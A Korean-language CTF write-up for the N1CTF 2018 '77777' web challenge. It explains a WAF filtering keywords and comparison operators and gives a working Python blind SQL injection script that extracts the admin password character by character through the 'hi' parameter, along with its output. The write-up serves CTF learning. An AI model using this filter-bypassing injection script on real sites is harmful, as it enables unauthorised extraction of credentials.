글쓴 시점에 대회가 진행중이라 대회종료 후 게시글은 공개글로 전환하도록 하겠다.
들어가보면 별다른 기능은없고 소스코드를 다음과 같은 식으로 보여준다.
flag 파라미터값은 %d로 뿌려지기때문에 정수로 모두 변환되어 hi파라미터에서 인젝션을 터트리면된다. 근데 waf라는 함수가 입력값 검증을 해 테스트해본 결과 몇몇 키워드 및 비교연산자들을 필터링하고 있었다. 다음과 같이 페이로드 짜서 admin 패스워드값(flag)을 구했다.
import urllib2
def request(data):
url = "http://47.75.14.48/"
req = urllib2.Request(url,data)
req.add_header('User-Agent','Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko')
response = urllib2.urlopen(req).read()
if "1001" in str(response):
return True
else:
return False
length = 0
for i in range(0,100):
payload = "flag=1&hi=" + urllib2.quote("+if(!strcmp(length(password),"+str(i)+"),1000,0)")
if request(payload)==True:
print "[*]Find Admin Length = " + str(i)
length = i
break
password = ""
for i in range(1,length+1):
for j in range(32,128):
payload = "flag=1&hi=" + urllib2.quote("+if(!strcmp(ord(mid(password," + str(i) + ",1)),"+str(j)+"),1000,0)")
if request(payload)==True:
password += chr(j)
break
print "[*]Find Admin Password = "+password
print "[*]Find flag= N1CTF{"+password+"}"
[*]Find Admin Length = 13
[*]Find Admin Password = he3l3locat233
[*]Find flag= N1CTF{he3l3locat233}
'CTF > Writeup' 카테고리의 다른 글
N1CTF 2018 77777 2 (0) | 2018.03.13 |
---|---|
N1CTF 2018 funning eating cms (0) | 2018.03.12 |
Truststealth CTF 2018 Custom Storage (DelspoN) 500 (0) | 2018.03.08 |
Pragyan CTF 2018 animal-attack(200pts) (0) | 2018.03.04 |
Pragyan CTF 2018 Authenticate your way to admin (150pts) (0) | 2018.03.04 |